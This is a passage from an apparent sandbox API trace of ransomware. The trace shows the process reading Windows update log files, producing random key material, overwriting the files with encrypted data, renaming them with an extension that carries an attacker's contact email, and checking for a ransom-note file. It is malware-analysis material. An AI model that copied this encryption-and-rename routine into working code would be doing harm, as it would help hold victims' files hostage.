users\\usoshared\\logs\\updatesessionorchestration.007.etl")) returned 0x2020 [0081.175] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl", dwFileAttributes=0x20) returned 1 [0081.175] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.176] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x257bfea4 | out: lpFileSize=0x257bfea4*=8192) returned 1 [0081.176] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.176] ReadFile (in: hFile=0x458, lpBuffer=0x257bfe78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x257bfe74, lpOverlapped=0x0 | out: lpBuffer=0x257bfe78*, lpNumberOfBytesRead=0x257bfe74*=0x4, lpOverlapped=0x0) returned 1 [0081.177] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.177] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.177] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e310 [0081.177] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e518 [0081.177] NtQuerySystemTime (in: CurrentTime=0x257bfe50 | out: CurrentTime=0x257bfe50*=132121176390685554) returned 0x0 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x50295155 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xba6a4ca9 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xdc6b0528 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x788b20cd [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x6face226 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xc5036176 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xdfca3595 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x4e267219 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x959bb119 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x7b1c84eb [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x15e89a6c [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x8673d61c [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xfc2610b9 [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x35ccd97d [0081.177] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x676daca4 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xbe29743f [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x7fbe6e1e [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x25c90b27 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x318483c3 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x3f8e3367 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xa6f12eb0 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x6b18348d [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xae245f95 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x808468c9 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xc1647746 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xc2146c32 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x2f7aabca [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x9c72b564 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x5607c23a [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0xa4798b05 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x985055a2 [0081.178] RtlRandom (in: Seed=0x257bfe5c | out: Seed=0x257bfe5c) returned 0x9a68519b [0081.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0081.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0081.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0081.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e2e8 [0081.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e2e8) returned 1 [0081.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.189] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x257bfe50, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x257bfe50*=0x2000, lpOverlapped=0x0) returned 1 [0081.190] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x257bfe18 | out: lpNewFilePointer=0x0) returned 1 [0081.190] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x257bfe4c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x257bfe4c*=0x2000, lpOverlapped=0x0) returned 1 [0081.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e540 [0081.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e590 [0081.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e590) returned 1 [0081.190] WriteFile (in: hFile=0x458, lpBuffer=0x342e540*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x257bfe48, lpOverlapped=0x0 | out: lpBuffer=0x342e540*, lpNumberOfBytesWritten=0x257bfe48*=0x20, lpOverlapped=0x0) returned 1 [0081.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e540) returned 1 [0081.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0081.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0081.190] WriteFile (in: hFile=0x458, lpBuffer=0x342e478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x257bfe74, lpOverlapped=0x0 | out: lpBuffer=0x342e478*, lpNumberOfBytesWritten=0x257bfe74*=0x8, lpOverlapped=0x0) returned 1 [0081.190] WriteFile (in: hFile=0x458, lpBuffer=0x257bfe8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x257bfe74, lpOverlapped=0x0 | out: lpBuffer=0x257bfe8c*, lpNumberOfBytesWritten=0x257bfe74*=0x4, lpOverlapped=0x0) returned 1 [0081.190] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x257bfe74, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x257bfe74*=0x4, lpOverlapped=0x0) returned 1 [0081.190] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x257bfe74, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x257bfe74*=0x6c, lpOverlapped=0x0) returned 1 [0081.191] WriteFile (in: hFile=0x458, lpBuffer=0x342e310*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x257bfe74, lpOverlapped=0x0 | out: lpBuffer=0x342e310*, lpNumberOfBytesWritten=0x257bfe74*=0x20, lpOverlapped=0x0) returned 1 [0081.191] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x257bfe74, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x257bfe74*=0x4, lpOverlapped=0x0) returned 1 [0081.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0081.191] CloseHandle (hObject=0x458) returned 1 [0081.191] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.191] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" [0081.191] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731" [0081.191] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl", dwFileAttributes=0x2020) returned 0 [0081.192] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0081.192] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.192] wcscat (in: _Dest=0x347fc88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.192] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0081.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c328) returned 1 [0081.192] RtlExitUserThread (Status=0x1) Thread: id = 1046 os_tid = 0x175c [0081.193] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl")) returned 0x2020 [0081.194] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl", dwFileAttributes=0x20) returned 1 [0081.194] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.194] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2583fa74 | out: lpFileSize=0x2583fa74*=12288) returned 1 [0081.195] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.195] ReadFile (in: hFile=0x458, lpBuffer=0x2583fa48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2583fa44, lpOverlapped=0x0 | out: lpBuffer=0x2583fa48*, lpNumberOfBytesRead=0x2583fa44*=0x4, lpOverlapped=0x0) returned 1 [0081.196] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e2e8 [0081.196] NtQuerySystemTime (in: CurrentTime=0x2583fa20 | out: CurrentTime=0x2583fa20*=132121176390841058) returned 0x0 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x4f56bf55 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x684e4f91 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xaa8a2d5a [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x73f2d86b [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x3c04c91c [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x3db45943 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xfd6fc1c9 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x96afc2c2 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xea9a20a7 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x8cfad013 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x6169f99 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x4f0338cd [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xb206b2dd [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x389e83c5 [0081.196] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xaf6cdc80 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xc21640f9 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xcc68f9bf [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xa10d0498 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x12ed4392 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x9bdd8ebd [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x97f97943 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x1378ceca [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x4b52c91 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x9bea9fd2 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x56ee1dad [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x408d0cc3 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x3e38cc79 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x6d9dc7bc [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x29bb6940 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x3cec5102 [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0x6299e2af [0081.197] RtlRandom (in: Seed=0x2583fa2c | out: Seed=0x2583fa2c) returned 0xe986c4f2 [0081.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e338 [0081.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e338) returned 1 [0081.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.208] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2583fa20, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2583fa20*=0x3000, lpOverlapped=0x0) returned 1 [0081.209] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2583f9e8 | out: lpNewFilePointer=0x0) returned 1 [0081.209] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2583fa1c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2583fa1c*=0x3000, lpOverlapped=0x0) returned 1 [0081.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e338 [0081.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e338) returned 1 [0081.209] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2583fa18, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x2583fa18*=0x20, lpOverlapped=0x0) returned 1 [0081.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.209] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2583fa44, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x2583fa44*=0x8, lpOverlapped=0x0) returned 1 [0081.210] WriteFile (in: hFile=0x458, lpBuffer=0x2583fa5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2583fa44, lpOverlapped=0x0 | out: lpBuffer=0x2583fa5c*, lpNumberOfBytesWritten=0x2583fa44*=0x4, lpOverlapped=0x0) returned 1 [0081.210] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2583fa44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2583fa44*=0x4, lpOverlapped=0x0) returned 1 [0081.210] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2583fa44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2583fa44*=0x6c, lpOverlapped=0x0) returned 1 [0081.210] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2583fa44, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x2583fa44*=0x20, lpOverlapped=0x0) returned 1 [0081.210] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2583fa44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2583fa44*=0x4, lpOverlapped=0x0) returned 1 [0081.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.210] CloseHandle (hObject=0x458) returned 1 [0081.210] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.210] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" [0081.210] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731" [0081.210] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.211] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.211] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.211] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl", dwFileAttributes=0x2020) returned 0 [0081.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.211] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.211] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.211] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.211] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c588) returned 1 [0081.212] RtlExitUserThread (Status=0x1) Thread: id = 1047 os_tid = 0x1760 [0081.213] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl")) returned 0x2020 [0081.213] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl", dwFileAttributes=0x20) returned 1 [0081.214] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.214] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x258bfca0 | out: lpFileSize=0x258bfca0*=4096) returned 1 [0081.214] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.214] ReadFile (in: hFile=0x458, lpBuffer=0x258bfc74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x258bfc70, lpOverlapped=0x0 | out: lpBuffer=0x258bfc74*, lpNumberOfBytesRead=0x258bfc70*=0x4, lpOverlapped=0x0) returned 1 [0081.216] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e310 [0081.216] NtQuerySystemTime (in: CurrentTime=0x258bfc4c | out: CurrentTime=0x258bfc4c*=132121176391153531) returned 0x0 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x7eb197fd [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x5cdee8c1 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x52b7a57f [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xd04aaf9d [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xe199200a [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xb2457518 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xa3ffde28 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xb7b0e007 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xa9172d27 [0081.216] RtlRandom (in: 